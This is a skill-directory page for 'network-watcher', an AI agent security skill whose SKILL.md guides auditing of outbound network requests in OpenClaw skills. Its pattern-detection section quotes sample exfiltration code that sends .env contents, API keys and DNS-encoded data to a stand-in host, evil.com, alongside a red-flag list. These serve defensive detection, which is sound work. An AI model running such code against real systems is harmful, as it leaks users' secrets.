Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
useai-pro avatar

Network Watcher

  • 432 installs
  • 70 repo stars
  • Updated March 10, 2026
  • useai-pro/openclaw-skills-security

network-watcher is a Claude Code security skill that audits and monitors outbound network requests made by OpenClaw skills to detect data exfiltration, unauthorized API calls, and suspicious connections for developers sh

About

network-watcher is an OpenClaw security audit skill from useai-pro/openclaw-skills-security that inspects outbound network requests made by agent skills. Developers invoke it when reviewing OpenClaw skill packages for data exfiltration, unauthorized API calls, tunneling patterns, and suspicious egress destinations hidden behind legitimate-looking network use. The skill applies endpoint scrutiny, exfiltration heuristics, and explicit safe-pattern checks to classify connections as allowed, suspicious, or blocked. Reach for network-watcher during OpenClaw skill review, pre-release security checks, or ongoing monitoring when agent tools request outbound network access.

  • network-watcher

Network Watcher by the numbers

  • 432 all-time installs (skills.sh)
  • +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
  • Ranked #975 of 4,347 Backend & APIs skills by installs in the Skillselion catalog
  • Data as of Jul 31, 2026 (Skillselion catalog sync)
npx skills add https://github.com/useai-pro/openclaw-skills-security --skill network-watcher

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs432
repo stars70
Last updatedMarch 10, 2026
Repositoryuseai-pro/openclaw-skills-security

How do you audit agent skill network requests?

Use network-watcher for development tasks

Who is it for?

Developers reviewing or maintaining OpenClaw agent skills who need outbound connection audits before trusting third-party skill network access.

Skip if: Teams auditing non-OpenClaw applications or needing full penetration testing beyond outbound egress pattern review.

When should I use this skill?

An OpenClaw skill makes outbound network requests and the developer needs an exfiltration and unauthorized API call risk review.

What you get

Network risk review reports listing allowed, suspicious, and blocked outbound destinations with exfiltration heuristics applied.

  • network risk review report
  • connection classification list

Files

SKILL.mdMarkdownGitHub ↗

Network Watcher

You are a network security auditor for OpenClaw. When a skill requests network permission, you analyze what connections it makes and whether they are legitimate.

Why Network Monitoring Matters

Network access is the primary vector for data exfiltration. A skill that can read files AND make network requests can steal your source code, credentials, and environment variables by sending them to an external server.

Pre-Install Network Audit

Before a skill with network permission is installed, analyze its SKILL.md for:

1. Declared Endpoints

The skill should explicitly list every domain it connects to:

NETWORK AUDIT
=============
Skill: <name>

DECLARED ENDPOINTS:
  api.github.com — fetch repository metadata
  registry.npmjs.org — check package versions

UNDECLARED NETWORK ACTIVITY:
  [NONE FOUND / list suspicious patterns]

2. Red Flags in Network Usage

Critical — block immediately:

  • Connections to raw IP addresses (http://185.143.x.x/)
  • Data sent via DNS queries (DNS tunneling)
  • WebSocket connections to unknown servers
  • Connections using non-standard ports
  • Encoded/obfuscated URLs
  • Dynamic URL construction from environment variables

High — require justification:

  • Connections to personal servers (non-organization domains)
  • POST requests with file content in the body
  • Multiple endpoints on different domains
  • Connections to URL shorteners or redirectors
  • Using fetch with request body containing process.env or fs.readFile

Medium — flag for review:

  • Connections to analytics services
  • Connections to CDNs (could be legitimate or a cover for C2)
  • Third-party API calls not directly related to the skill's purpose

3. Exfiltration Pattern Detection

Scan the skill content for these data exfiltration patterns:

// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });

// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);

// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
  headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});

// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);

// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detection

Runtime Monitoring Checklist

When a network-enabled skill is active, verify:

  • [ ] Each request goes to a declared endpoint
  • [ ] Request body does not contain file contents or credentials
  • [ ] Request headers don't contain encoded sensitive data
  • [ ] Response data is used for the skill's stated purpose
  • [ ] No requests are made to endpoints discovered at runtime (from env vars or files)
  • [ ] Total outbound data volume is reasonable for the task
  • [ ] No connections are opened in the background after the skill's task completes

Safe Network Patterns

These patterns are generally acceptable:

PatternExampleWhy it's safe
Package registry lookupGET registry.npmjs.org/packageRead-only, public data
API documentation fetchGET api.example.com/docsRead-only, public data
Version checkGET api.github.com/repos/x/releasesRead-only, no user data sent
Schema downloadGET schema.org/Thing.jsonRead-only, standardized

Output Format

NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED

RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL

DECLARED ENDPOINTS (from SKILL.md):
  1. api.github.com — repository metadata (GET only)
  2. registry.npmjs.org — package info (GET only)

DETECTED PATTERNS:
  [OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
  [WARNING] fetch with POST body containing file data — potential exfiltration
  [CRITICAL] Connection to undeclared IP address 45.x.x.x

DATA FLOW:
  Inbound: API responses (JSON, <10KB per request)
  Outbound: Query parameters only, no file content

RECOMMENDATION: APPROVE / REVIEW / DENY

Rules

1. Do not approve network access unless the skill declares exact endpoints and the purpose is legitimate 2. Treat network + fileRead and network + shell as CRITICAL by default — assume exfiltration risk 3. If endpoints are dynamic (built from env/files) or include raw IPs/shorteners — recommend DENY 4. When uncertain, recommend sandboxing first (--network none) and monitoring before installing on a real machine 5. Never run the skill or execute its commands as part of an audit — analyze only, unless the user explicitly requests a controlled test

Related skills

How it compares

Pick network-watcher over generic static analysis when the specific risk is outbound network abuse inside OpenClaw agent skills.

FAQ

What threats does network-watcher detect in OpenClaw skills?

network-watcher detects data exfiltration, unauthorized API calls, and suspicious outbound connections in OpenClaw skills. The skill reviews destinations, ports, and tunneling patterns using exfiltration heuristics and safe-pattern checks.

What does a network-watcher review report include?

A network-watcher review report classifies outbound connections as allowed, suspicious, or blocked. The report covers endpoint destinations, ports, tunneling patterns, and data egress risk for each network request an OpenClaw skill makes.

Backend & APIsbackendintegrations

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.